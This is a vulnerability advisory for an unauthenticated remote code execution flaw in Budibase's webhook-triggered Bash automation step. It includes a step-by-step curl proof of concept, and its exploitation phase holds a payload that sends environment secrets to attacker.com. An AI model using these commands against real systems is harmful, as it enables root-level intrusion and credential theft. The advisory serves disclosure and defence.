CVE-2026-35216: Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step

Summary An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container.

Details

Vulnerable endpoint — packages/server/src/api/routes/webhook.ts line 13:

typescript // this shouldn't have authorisation, right now its always public publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)

The webhook trigger endpoint is registered on publicRoutes with no authentication middleware. Any unauthenticated HTTP client can POST to this endpoint.

Vulnerable sink — packages/server/src/automations/steps/bash.ts lines 21–26:

typescript const command = processStringSync(inputs.code, context) stdout = execSync(command, { timeout: environment.QUERYTHREADTIMEOUT }).toString()

The Bash automation step uses Handlebars template processing (processStringSync) on inputs.code, substituting values from the webhook request body into the shell command string before passing it to execSync().

Attack chain:

HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH ↓ controller.trigger() [webhook.ts:90] ↓ triggers.externalTrigger() ↓ webhook fields flattened into automation context automation.steps[EXECUTEBASH].run() [actions.ts:131] ↓ processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKERPAYLOAD" }) ↓ execSync("ATTACKERPAYLOAD") ← RCE AS ROOT

Precondition: An admin must have created and published an automation containing: 1. A Webhook trigger 2. A Bash step whose code field uses a trigger field template (e.g., {{ trigger.cmd }})

This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks.

Note on EXECUTEBASH availability: The bash step is only registered when SELFHOSTED=1 (actions.ts line 129), which applies to all self-hosted deployments:

typescript // packages/server/src/automations/actions.ts line 126-132 // don't add the bash script/definitions unless in self host if (env.SELFHOSTED) { ACTIONIMPLS["EXECUTEBASH"] = bash.run BUILTINACTIONDEFINITIONS["EXECUTEBASH"] = automations.steps.bash.definition }

Webhook context flattening (why {{ trigger.cmd }} works):

In packages/server/src/automations/triggers.ts lines 229–239, for webhook automations the params.fields are spread directly into the trigger context:

typescript // row actions and webhooks flatten the fields down else if (sdk.automations.isWebhookAction(automation)) { params = { ...params, ...params.fields, // { cmd: "PAYLOAD" } becomes top-level fields: {}, } }

This means a webhook body {"cmd": "id"} becomes accessible as {{ trigger.cmd }} in the bash step template.

PoC

Environment

Target: http://TARGET:10000 (any self-hosted Budibase instance) Tester: Any machine with curl Auth: Admin credentials required for SETUP PHASE only Zero auth required for EXPLOITATION PHASE

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PHASE 1 — Admin Setup (performed once by legitimate admin)

> Note: This phase represents normal Budibase usage. Any admin who creates > a webhook automation with a bash step using template variables creates this exposure.

Step 1 — Authenticate as admin:

bash curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{ "username": "admin@company.com", "password": "adminpassword" }'

Expected response: {"message":"Login successful"}

Step 2 — Create an application:

bash curl -b cookies.txt -X POST http://TARGET:10000/api/applications \ -H "Content-Type: application/json" \ -d '{ "name": "MyApp", "useTemplate": false, "url": "/myapp" }'

Note the appId from the response, e.g.: "appId": "appdevc999265f6f984e3aa986788723984cd5"

APPID="appdevc999265f6f984e3aa986788723984cd5"

Step 3 — Create automation with Webhook trigger + Bash step:

bash curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APPID" \ -d '{ "name": "WebhookBash", "type": "automation", "definition": { "trigger": { "id": "trigger1", "name": "Webhook", "event": "app:webhook:trigger", "stepId": "WEBHOOK", "type": "TRIGGER", "icon": "paper-plane-right", "description": "Trigger an automation when a HTTP POST webhook is hit", "tagline": "Webhook endpoint is hit", "inputs": {}, "schema": { "inputs": { "properties": {} }, "outputs": { "properties": { "body": { "type": "object" } } } } }, "steps": [ { "id": "bashstep1", "name": "Bash Scripting", "stepId": "EXECUTEBASH", "type": "ACTION", "icon": "git-branch", "description": "Run a bash script", "tagline": "Execute a bash command", "inputs": { "code": "{{ trigger.cmd }}" }, "schema": { "inputs": { "properties": { "code": { "type": "string" } } }, "outputs": { "properties": { "stdout": { "type": "string" }, "success": { "type": "boolean" } } } } } ] } }'

Note the automation id from response, e.g.: "automation": { "id": "aub713759f83f64efda067e17b65545fce", ... }

AUTOID="aub713759f83f64efda067e17b65545fce"

Step 4 — Enable the automation (new automations start as disabled):

bash Fetch full automation JSON AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTOID" \ -H "x-budibase-app-id: $APPID")

Set disabled: false and PUT it back UPDATED=$(echo "$AUTO" | python3 -c " import sys, json d = json.load(sys.stdin) d['disabled'] = False print(json.dumps(d)) ")

curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APPID" \ -d "$UPDATED"

Step 5 — Create webhook linked to the automation:

bash curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APPID" \ -d "{ \"name\": \"MyWebhook\", \"action\": { \"type\": \"automation\", \"target\": \"$AUTOID\" } }"

Note the webhook id from response, e.g.: "webhook": { "id": "whf811a038ed024da78b44619353d4af2b", ... }

WEBHOOKID="whf811a038ed024da78b44619353d4af2b"

Step 6 — Publish the app to production:

bash curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APPID/publish" \ -H "x-budibase-app-id: $APPID"

Expected: {"status":"SUCCESS","appUrl":"/myapp"}

Production App ID = strip "dev" from dev ID: appdevc999265f... → appc999265f... PRODAPPID="appc999265f6f984e3aa986788723984cd5"

---

PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)

The attacker only needs the production appid and webhookid. These can be obtained via: - Enumeration of the Budibase web UI (app URLs are semi-public) - Leaked configuration files or environment variables - Insider knowledge or social engineering

Step 7 — Basic RCE — whoami/id:

bash PRODAPPID="appc999265f6f984e3aa986788723984cd5" WEBHOOKID="whf811a038ed024da78b44619353d4af2b" TARGET="http://TARGET:10000"

NO cookies. NO API key. NO auth headers. Pure unauthenticated request. curl -X POST "$TARGET/api/webhooks/trigger/$PRODAPPID/$WEBHOOKID" \ -H "Content-Type: application/json" \ -d '{"cmd":"id"}'

HTTP Response (immediate): {"message":"Webhook trigger fired successfully"}

Command executes asynchronously inside container as root. Output confirmed via container inspection or exfiltration.

Step 8 — Exfiltrate all secrets:

bash curl -X POST "$TARGET/api/webhooks/trigger/$PRODAPPID/$WEBHOOKID" \ -H "Content-Type: application/json" \ -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'

Confirmed secrets leaked (no auth): JWTSECRET=testsecret APIENCRYPTIONKEY=testsecret COUCHDBURL=http://budibase:budibase@couchdb-service:5984 REDISPASSWORD=budibase REDISURL=redis-service:6379 MINIOACCESSKEY=budibase MINIOSECRETKEY=budibase INTERNALAPIKEY=budibase LITELLMMASTERKEY=budibase

Impact - Who is affected: All self-hosted Budibase deployments (SELFHOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow.

- What can an attacker do: - Execute arbitrary OS commands as root inside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet - Establish reverse shells and persistent access - Read/write/delete all application data via CouchDB access - Forge JWT tokens using the leaked JWTSECRET to impersonate any user - Potentially escape the container if --privileged or volume mounts are used

- Authentication required: None — completely unauthenticated - User interaction required: None - Network access required: Only access to port 10000 (the Budibase proxy port)

Discovered By: Abdulrahman Albatel Abdullah Alrasheed